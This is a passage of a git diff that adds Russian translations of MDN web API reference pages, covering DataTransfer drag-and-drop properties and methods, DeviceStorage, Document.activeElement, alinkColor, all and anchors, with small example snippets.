+   <td><code><a href="/en/StringList" title="en/StringList">StringList</a> <a href="#mozTypesAt.28.29">mozTypesAt</a>([in unsigned long index])</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<h3 id="dropEffect.28.29" name="dropEffect.28.29">dropEffect</h3>
+
+<p>Реальное действие, которое будет выполнено, и единственное возможное значение свойства <strong>effectAllowed.</strong></p>
+
+<p>Для событий <strong>dragenter</strong> и <strong>dragover</strong>, <strong>dropEffect</strong> будет инициализировано значением, зависящим от того, какое действие запрашивает пользователь. То, как это определяется, зависит от платформы, но, как правило, пользователи могут зажать клавиши-модификаторы для выбора желаемого действия. В обработчике событий для <strong>dragenter</strong> и <strong>dragover</strong>, <strong>dropEffect</strong> следует модифицировать, если запрашиваемое пользователем действие не то, которое требовалось.</p>
+
+<p>Для событий <strong>dragstart</strong>, <strong>drag</strong>, и <strong>dragleave</strong>,<strong> dropEffect</strong> будет инициализировано значением "none". Cвойству <strong>dropEffect</strong> можно присвоить любое значение, но оно не будет ни для чего использоваться.</p>
+
+<p>Для событий <strong>drop</strong> и <strong>dragend</strong>, <strong>dropEffect</strong> будет инициализировано значением, которое было назначено свойству <strong>dropEffect</strong> после последнего события <strong>dragenter</strong> или <strong>dragover</strong>.</p>
+
+<p>Возможные значения:</p>
+
+<ul>
+ <li><strong>copy</strong>: в новом расположении создается копия исходного элемента.</li>
+ <li><strong>move</strong>: элемент перемещается в новое расположение.</li>
+ <li><strong>link</strong>: в новом расположении создается ссылка на исходный элемент.</li>
+ <li><strong>none</strong>: элемент не может быть брошен.</li>
+</ul>
+
+<p>Присвоение каких-либо других значений не возымеет эффекта и оставит старое значение.</p>
+
+<h3 id="effectAllowed.28.29" name="effectAllowed.28.29">effectAllowed</h3>
+
+<p>Определяет эффекты, которые разрешены для этого перетаскивания (дрэг). Вы можете указать их в собитии <code>dragstart </code>чтобы желаемый эффект сработал на перетаскиваемом элементе (что перетаскиваем),  или в событии  <code>dragenter </code>и<code> dragenter </code>чтобы желаемый эффект сработал для цели перетаскивания (куда перетаскиваем). В других событиях значение не используется.</p>
+
+<p>Возможные значения:</p>
+
+<ul>
+ <li><strong>copy</strong>: Копия ресурса может быть сделана в новом месте.</li>
+ <li><strong>move</strong>: Элемент может быть перемещен в новое место. </li>
+ <li><strong>link</strong>: A link may be established to the source at the new location.</li>
+ <li><strong>copyLink</strong>: A copy or link operation is permitted.</li>
+ <li><strong>copyMove</strong>: A copy or move operation is permitted.</li>
+ <li><strong>linkMove</strong>: A link or move operation is permitted.</li>
+ <li><strong>all</strong>: All operations are permitted.</li>
+ <li><strong>none</strong>: the item may not be dropped.</li>
+ <li><strong>uninitialized</strong>: the default value when the effect has not been set, equivalent to all.</li>
+</ul>
+
+<p>Assigning any other value has no effect and retains the old value.</p>
+
+<h3 id="files.28.29" name="files.28.29">files</h3>
+
+<p>{{ gecko_minversion_header("1.9.2") }}</p>
+
+<p>Содержит список локальных файлов доступных на dataTransfer. Если операция перемещения не включала в себя перемещение файлов, то данное свойство будет пустым списком. Неверное обращение по индексу к объекту {{ domxref("FileList") }} определённым данным свойством вернёт null.</p>
+
+<h4 id="Пример">Пример</h4>
+
+<p>Данный пример демонстрирует перетаскивание файлов в окно браузера:</p>
+
+<p><a class="external" href="http://jsfiddle.net/9C2EF/" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></p>
+
+<h3 id="types.28.29" name="types.28.29">types</h3>
+
+<p>Содержит список типов форматов данных в порядке добавления данных. Если ничего не было добавлено, то будет вернут пустой список.</p>
+
+<p>{{ gecko_minversion_note("1.9.2", 'The string "Files" is included in this list if files are included in the drag.') }}</p>
+
+<p>{{ h3_gecko_minversion("mozCursor", "1.9.1", "mozCursor") }}</p>
+
+<p>The drag cursor's state. This is primarily used to control the cursor during tab drags.</p>
+
+<div class="note"><strong>Note:</strong> This method is currently only implemented on Windows.</div>
+
+<h4 id="Possible_values">Possible values</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Uses the default system behavior.</dd>
+ <dt><code>default</code></dt>
+ <dd>Uses the default Gecko behavior, which is to set the cursor to an arrow during the drag operation.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> If you specify any value other than "default", "auto" is assumed.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozItemCount</h3>
+
+<p>The number of items being dragged.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h3 id="mozSourceNode">mozSourceNode</h3>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozUserCancelled</h3>
+
+<p>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location. This property is not currently implemented on Linux.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="addElement.28.29" name="addElement.28.29">addElement()</h3>
+
+<p>Данный метод устанавливает источник перетаскивания. Обычно вы его не изменяете, но он влияет на то,  на каком узле запускаются события drag и dragend. По умолчанию целью является узел который перетаскивали.</p>
+
+<pre class="eval"> void addElement(
+   in Element element
+ );
+</pre>
+
+<h6 id="Parameters_addElement" name="Parameters_addElement">Параметры</h6>
+
+<dl>
+ <dt><code>element </code></dt>
+ <dd>Элемент для добавления.</dd>
+</dl>
+
+<h3 id="clearData.28.29" name="clearData.28.29">clearData()</h3>
+
+<p>Удаление данных, связанные с указанным типом. Аргумент <strong>type</strong> является необязательным. Если <strong>type</strong> пуст или не указан, тогда данные, связанные со всеми типами удаляются. Если данные для указанного типа не существуют или передача данных не содержит данных, тогда этот метод не будет делать ничего.</p>
+
+<pre class="eval"> void clearData(
+   [optional] in String type
+ );
+</pre>
+
+<h6 id="Parameters_clearData" name="Parameters_clearData">Параметры</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Тип данных для удаления.</dd>
+</dl>
+
+<h3 id="getData.28.29" name="getData.28.29">getData()</h3>
+
+<p>Возвращает данные для указанного типа или пустую строку, если данные для указанного типа не существуют или передаваемая сущность не содержит данных.</p>
+
+<p>Ошибка безопасности возникает при попытке получить данные во время перетаскивания из другого домена, иначе вызывающий объект не будет иметь доступа. Эти данные будут доступны только после того, как элемент будет отпущен в случае события <strong>drop</strong>.</p>
+
+<pre class="eval"> String getData(
+   in String type
+ );
+</pre>
+
+<h6 id="Parameters_getData" name="Parameters_getData">Параметры</h6>
+
+<p>Тип данных который будет возвращен.</p>
+
+<dl>
+ <dt><code>type </code></dt>
+</dl>
+
+<h3 id="setData.28.29" name="setData.28.29">setData()</h3>
+
+<p>Установка данных для указываемого типа. Если данные для <strong>type</strong> не существуют, тогда они добавляются в конце, так что последним элементом в списке типов будет новый формат. Если данные для <strong>type</strong> уже существуют, существующие данные заменяются в том же положении. То есть порядок списка типов не изменяется при замене данных одного и того же типа.</p>
+
+<pre class="eval"> void setData(
+   in String type,
+   in String data
+ );
+</pre>
+
+<h6 id="Parameters_setData" name="Parameters_setData">Параметры</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Тип добавляемых данных.</dd>
+ <dt><code>data </code></dt>
+ <dd>Данные для добавления.</dd>
+</dl>
+
+<h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3>
+
+<p>Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создается из перетаскиваемого узла.</p>
+
+<p>Если узел является HTML-элементом img, HTML-элементом canvas или XUL-элементом изображения, тогда используются данные изображения. В противном случае изображение должно быть видимым узлом, и из этого будет создано перетаскиваемое изображение. Если изображение равно null, любое пользовательское изображение перетаскиваемое очищается и вместо него используется значение по умолчанию.</p>
+
+<p>Координаты указывают смещение в изображении, где должен находиться курсор мыши. Например, для центрирования изображения используйте значения, которые составляют половину ширины и высоты изображения.</p>
+
+<pre class="eval"> void setDragImage(
+   in Element image,
+   in long x,
+   in long y
+ );
+</pre>
+
+<h6 id="Parameters_setDragImage" name="Parameters_setDragImage">Параметры</h6>
+
+<dl>
+ <dt><code>image </code></dt>
+ <dd>Элемент используемый в качестве изображения обратной связи при перетаскивании</dd>
+ <dt><code>x </code></dt>
+ <dd>Горизонтальное смещение внутри изображения.</dd>
+ <dt><code>y </code></dt>
+ <dd>Вертикальное смещение внутри изображения.</dd>
+</dl>
+
+<h3 id="mozClearDataAt.28.29" name="mozClearDataAt.28.29">mozClearDataAt()</h3>
+
+<p>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</p>
+
+<p>If the last format for the item is removed, the entire item is removed, reducing <code>mozItemCount</code> by one.</p>
+
+<p>If the <code>format</code> list is empty, then the data associated with all formats is removed. If the format is not found, then this method has no effect.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> void mozClearDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to remove.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to remove.</dd>
+</dl>
+
+<h3 id="mozGetDataAt.28.29" name="mozGetDataAt.28.29">mozGetDataAt()</h3>
+
+<p>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> nsIVariant mozGetDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to retrieve.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to retrieve.</dd>
+</dl>
+
+<h3 id="mozSetDataAt.28.29" name="mozSetDataAt.28.29">mozSetDataAt()</h3>
+
+<p>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</p>
+
+<p>Data should be added in order of preference, with the most specific format added first and the least specific format added last. If data of the given format already exists, it is replaced in the same position as the old data.</p>
+
+<p>The data should be either a string, a primitive boolean or number type (which will be converted into a string) or an {{ interface("nsISupports") }}.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> void mozSetDataAt(
+   [optional] in String type,
+   in nsIVariant data,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozSetDataAt" name="Parameters_mozSetDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to add.</dd>
+ <dt><code>data </code></dt>
+ <dd>The data to add.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to add.</dd>
+</dl>
+
+<h3 id="mozTypesAt.28.29" name="mozTypesAt.28.29">mozTypesAt()</h3>
+
+<p>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> nsIVariant mozTypesAt(
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozTypesAt" name="Parameters_mozTypesAt">Parameters</h6>
+
+<dl>
+ <dt><code>index </code></dt>
+ <dd>The index of the data for which to retrieve the types.</dd>
+</dl>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<p><a class="internal" href="/En/DragDrop/Drag_and_Drop" title="Drag and Drop">Drag and Drop</a></p>
+
+<p>{{ languages( { "ja": "Ja/DragDrop/DataTransfer" } ) }}</p>
diff --git a/files/ru/web/api/devicestorage/index.html b/files/ru/web/api/devicestorage/index.html
new file mode 100644
index 0000000000..00c3b20192
--- /dev/null
+++ b/files/ru/web/api/devicestorage/index.html
@@ -0,0 +1,87 @@
+---
+title: DeviceStorage
+slug: Web/API/DeviceStorage
+tags:
+  - API
+  - Device Storage
+  - WebAPI
+translation_of: Archive/B2G_OS/API/DeviceStorage
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Введение">Введение</h2>
+<p><code>DeviceStorage</code> — интерфейс, используемый для доступа к файлам в особом хранилище (или <em>области хранения</em>), доступном на устройстве. Это хранилище, по сути, является файловой системой — хотя оно на самом деле скрывает нижележащую файловую системы.</p>
+<p><span style="line-height: 1.5;">Чтобы получить доступ к хранилищу, необходимо использовать метод {{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}} , возвращающую объекты </span><code style="font-style: normal; line-height: 1.5;">DeviceStorage</code><span style="line-height: 1.5;">. Затем вы сможете использовать методы и свойства этих объектов, чтобы получить доступ к содержимому хранилища.</span></p>
+<h2 id="Свойства">Свойства</h2>
+<dl>
+ <dt>
+  {{domxref("DeviceStorage.storageName")}} {{readonlyinline}}</dt>
+ <dd>
+  Строка, представляющая имя области хранения. Та же, что используется при вызове {{domxref("window.navigator.getDeviceStorage()","getDeviceStorage")}} чтобы получить объект <code>DeviceStorage</code>.</dd>
+ <dt>
+  {{domxref("DeviceStorage.default")}} {{readonlyinline}}</dt>
+ <dd>
+  Логическое значение, указывающее, назначено ли это хранилище по умолчанию для хранения новых файлов <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">true</code><span style="line-height: 1.5;">) или нет (</span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;">).</span></dd>
+</dl>
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+<dl>
+ <dt>
+  {{domxref("DeviceStorage.onchange")}}</dt>
+ <dd>
+  Обрабатывает событие {{event("change")}}. Это событие происходит каждый раз, когда содержимое хранилища меняется.</dd>
+</dl>
+<h2 id="Функции">Функции</h2>
+<dl>
+ <dt>
+  {{ domxref("DeviceStorage.add()") }}</dt>
+ <dd>
+  Создает файл в области хранения. Имя файла генерируется автоматически.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.addNamed()") }}</dt>
+ <dd>
+  Создает файл в области хранения. Имя файла задается при вызове функции.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.available()") }}</dt>
+ <dd>
+  Возвращает <code><em>available</em></code> если хранилище доступно для использования и <code><em>shared</em></code> если устройство подключено к ПК.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.delete()") }}</dt>
+ <dd>
+  Удаляет файл из области хранения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.enumerate()") }}</dt>
+ <dd>
+  Возвращает список файлов, доступных в области хранения. Полученные файлы доступны только для чтения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.enumerateEditable()") }}</dt>
+ <dd>
+  Возвращает список файлов, доступных в области хранения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.freeSpace()") }}</dt>
+ <dd>
+  Возвращает количество свободного места, доступного в области хранения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.get()") }}</dt>
+ <dd>
+  Возвращает файлы, доступные только для чтения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.getEditable()") }}</dt>
+ <dd>
+  Возвращает файлы, доступные для редактирования.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.usedSpace()") }}</dt>
+ <dd>
+  Возвращает количество занятого места в области хранения.</dd>
+</dl>
+<h2 id="Обработчики_событий_2">Обработчики событий</h2>
+<p>Функции, наследованные от {{domxref("EventTarget")}} интерфейса:</p>
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+<h2 id="Specification" name="Specification">Спецификация</h2>
+<p>Не является частью какой-либо спецификации.</p>
+<h2 id="Смотрите_также">Смотрите также</h2>
+<ul>
+ <li>{{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Device_Storage" title="/en-US/docs/WebAPI/Device_Storage">Device Storage API</a></li>
+ <li><a href="/en-US/docs/WebAPI/FileHandle" title="/en-US/docs/WebAPI/FileHandle">FileHandler API</a></li>
+</ul>
diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html
new file mode 100644
index 0000000000..1a46c20a30
--- /dev/null
+++ b/files/ru/web/api/document/activeelement/index.html
@@ -0,0 +1,164 @@
+---
+title: Document.activeElement
+slug: Web/API/Document/activeElement
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/DocumentOrShadowRoot/activeElement
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Анотация</h2>
+
+<p>Возвращает текущий сфокусированный элемент, то есть элемент, на котором будут вызываться события клавиатуры, если пользователь начнёт с неё ввод. Этот атрибут доступен только для чтения.</p>
+
+<p>Часто возвращается {{ HTMLElement("input") }} или {{ HTMLElement("textarea") }} объект, если он содержит в себе выделенный в данный момент текст. При этом вы можете получить более подробные сведения, используя свойства элемента  <code>selectionStart</code> и <code>selectionEnd</code>.  В других случаях сфокусированным элементом может быть {{ HTMLElement("select") }} элемент (меню) или {{ HTMLElement("input") }} элемент типа button, checkbox или radio.</p>
+
+<p>{{ Note("На Mac, элементы, не являющиеся текстовыми полями, как правило, не получают фокус.") }}</p>
+
+<p>Как правило, пользователь может нажать клавишу табуляции для перемещения по фокусируемым элементам страницы, и использовать пробел для их активации (нажать кнопку button, выбрать переключатель radio).</p>
+
+<p>Не следует путать фокус с выделением документа, состоящего в основном из статических текстовых узлов. См. {{ domxref("window.getSelection()") }}. </p>
+
+<p>Когда выделение отсутствует, активным элементом является {{ HTMLElement("body") }} страницы или null. </p>
+
+<p>{{ Note("Этот атрибут является частью разрабатываемой спецификации HTML 5.") }}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var curElement = document.activeElement;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;script type="text/javascript" charset="utf-8"&gt;
+    function init() {
+
+        function onMouseUp(e) {
+            console.log(e);
+            var outputElement = document.getElementById('output-element');
+            var outputText = document.getElementById('output-text');
+            var selectedTextArea = document.<strong>activeElement</strong>;
+            var selection = selectedTextArea.value.substring(
+            selectedTextArea.<strong>selectionStart</strong>, selectedTextArea.<strong>selectionEnd</strong>);
+            outputElement.innerHTML = selectedTextArea.id;
+            outputText.innerHTML = selection;
+        }
+
+        document.getElementById("ta-example-one").addEventListener("mouseup", onMouseUp, false);
+        document.getElementById("ta-example-two").addEventListener("mouseup", onMouseUp, false);
+    }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+&lt;div&gt;
+    Выделите текст в одном из текстовых полей ниже:
+&lt;/div&gt;
+&lt;form id="frm-example" action="#" accept-charset="utf-8"&gt;
+&lt;textarea name="ta-example-one" id="ta-example-one" rows="8" cols="40"&gt;
+Это текстовое поле 1:
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.
+&lt;/textarea&gt;
+&lt;textarea name="ta-example-two" id="ta-example-two" rows="8" cols="40"&gt;
+Это текстовое поле 2:
+Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.
+&lt;/textarea&gt;
+&lt;/form&gt;
+ID активного элемента: &lt;span id="output-element"&gt;&lt;/span&gt;&lt;br/&gt;
+Выделенный текст: &lt;span id="output-text"&gt;&lt;/span&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="https://jsfiddle.net/w9gFj">Посмотреть на JSFiddle</a></p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Первоначально введенное как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2</td>
+   <td>3.0</td>
+   <td>4 [1]</td>
+   <td>9.6</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: В IE9 наблюдается баг: при попытке получения доступа к <code>activeElement в </code>{{domxref("window.parent")}} {{domxref("Document")}} из {{HTMLElement("iframe")}} (т.е. <code>parent.document.activeElement</code>) выбрасывается ошибка.</p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..30ae4fccc9
--- /dev/null
+++ b/files/ru/web/api/document/alinkcolor/index.html
@@ -0,0 +1,40 @@
+---
+title: Document.alinkColor
+slug: Web/API/Document/alinkColor
+tags:
+  - API
+  - Obsolete
+  - Property
+translation_of: Web/API/Document/alinkColor
+---
+<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p>
+
+<p>Возвращает или задает цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>color</em> = document.alinkColor
+document.alinkColor = <em>color</em>
+</pre>
+
+<p>Color - строка, содержащая имя цвета (например, <code>blue</code>, <code>dark blue</code> и т.д.) или шестнадцатеричное значение цвета(<code>#0000FF</code>)</p>
+
+<h2 id="Notes" name="Notes">Примичание</h2>
+
+<p>Значение по умолчанию для этого свойства в Mozilla Firefox является красным (<code>#ee0000</code> в шестнадцатеричном формате).</p>
+
+<p><code>document.alinkColor</code> устарел в <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. Одним из вариантов является CSS-селектор {{ Cssxref(":active") }}.</p>
+
+<p>Другой альтернативой является document.body.aLink, хотя это <a href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">устарело в HTML 4.01</a> в пользу альтернативы CSS.</p>
+
+<p><a href="en/Gecko">Gecko</a> подерживает оба варианта <code>alinkColor</code>/<code>:active</code> and {{ Cssxref(":focus") }}. Internet Explorer 6 и 7 подерживает <code>alinkColor</code>/<code>:active</code> только для<a href="en/HTML/Element/a"> HTML ссылок с якорем (&lt;a&gt;)</a>  и поведение у них такое же, как <code>:focus</code> в Gecko. В IE нет поддержки :focus.</p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.alinkColor")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/all/index.html b/files/ru/web/api/document/all/index.html
new file mode 100644
index 0000000000..2922af874e
--- /dev/null
+++ b/files/ru/web/api/document/all/index.html
@@ -0,0 +1,42 @@
+---
+title: Document.all
+slug: Web/API/Document/all
+translation_of: Web/API/Document/all
+---
+<div>{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}</div>
+
+<p>The {{DOMxRef("Document")}} Свойство <strong><code>all</code></strong> только для чтения интерфейса возвращает: {{DOMxRef("HTMLAllCollection")}} С корнем в узле документа. Другими словами, он возвращает все содержимое страницы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>htmlAllCollection</var> = document.all;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>В {{DOMxRef("HTMLAllCollection")}} содержится все узелы в документе.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#dom-document-all', 'all')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение.<br>
+    Устаревший и находится вустаревшем разделе API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.all")}}</p>
diff --git a/files/ru/web/api/document/anchors/index.html b/files/ru/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..9d9f3aaa70
--- /dev/null
+++ b/files/ru/web/api/document/anchors/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.anchors
+slug: Web/API/Document/anchors
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - id
+  - name
+  - Якоря
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>anchors</code></strong> возвращает массив всех якорей в документе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>nodeList</var> = document.anchors;
+</pre>
+
+<p> </p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if ( document.anchors.length &gt;= 5 ) {
+  dump("найдено слишком много якорей");
+  window.location = "http://www.google.com";
+}
+</pre>
+
+<p>Следующий пример автоматически генерирует список якорей из заглавий блоков, имеющихся на странице:</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Test&lt;/title&gt;
+&lt;script&gt;
+function init() {
+  var toc = document.getElementById("toc");
+  var i, li, newAnchor;
+  for (i = 0; i &lt; document.anchors.length; i++) {
+    li = document.createElement("li");
+    newAnchor = document.createElement('a');
+    newAnchor.href = "#" + document.anchors[i].name;
+    newAnchor.innerHTML = document.anchors[i].text;
+    li.appendChild(newAnchor);
+    toc.appendChild(li);
+  }
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+
+&lt;h1&gt;Title&lt;/h1&gt;
+&lt;h2&gt;&lt;a name="contents"&gt;Contents&lt;/a&gt;&lt;/h2&gt;
+&lt;ul id="toc"&gt;&lt;/ul&gt;
+
+&lt;h2&gt;&lt;a name="plants"&gt;Plants&lt;/a&gt;&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Apples&lt;/li&gt;
+    &lt;li&gt;Oranges&lt;/li&gt;
+    &lt;li&gt;Pears&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h2&gt;&lt;a name="veggies"&gt;Veggies&lt;/a&gt;&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Carrots&lt;/li&gt;
+    &lt;li&gt;Celery&lt;/li&gt;
+    &lt;li&gt;Beats&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="https://jsfiddle.net/S4yNp">Посмотреть на JSFiddle</a></p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>По причине обратной совместимости возвращаемый массив якорей включает в себя лишь якоря, созданные с помощью атрибута <strong>name</strong>, а не а <strong>id</strong>.</p>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
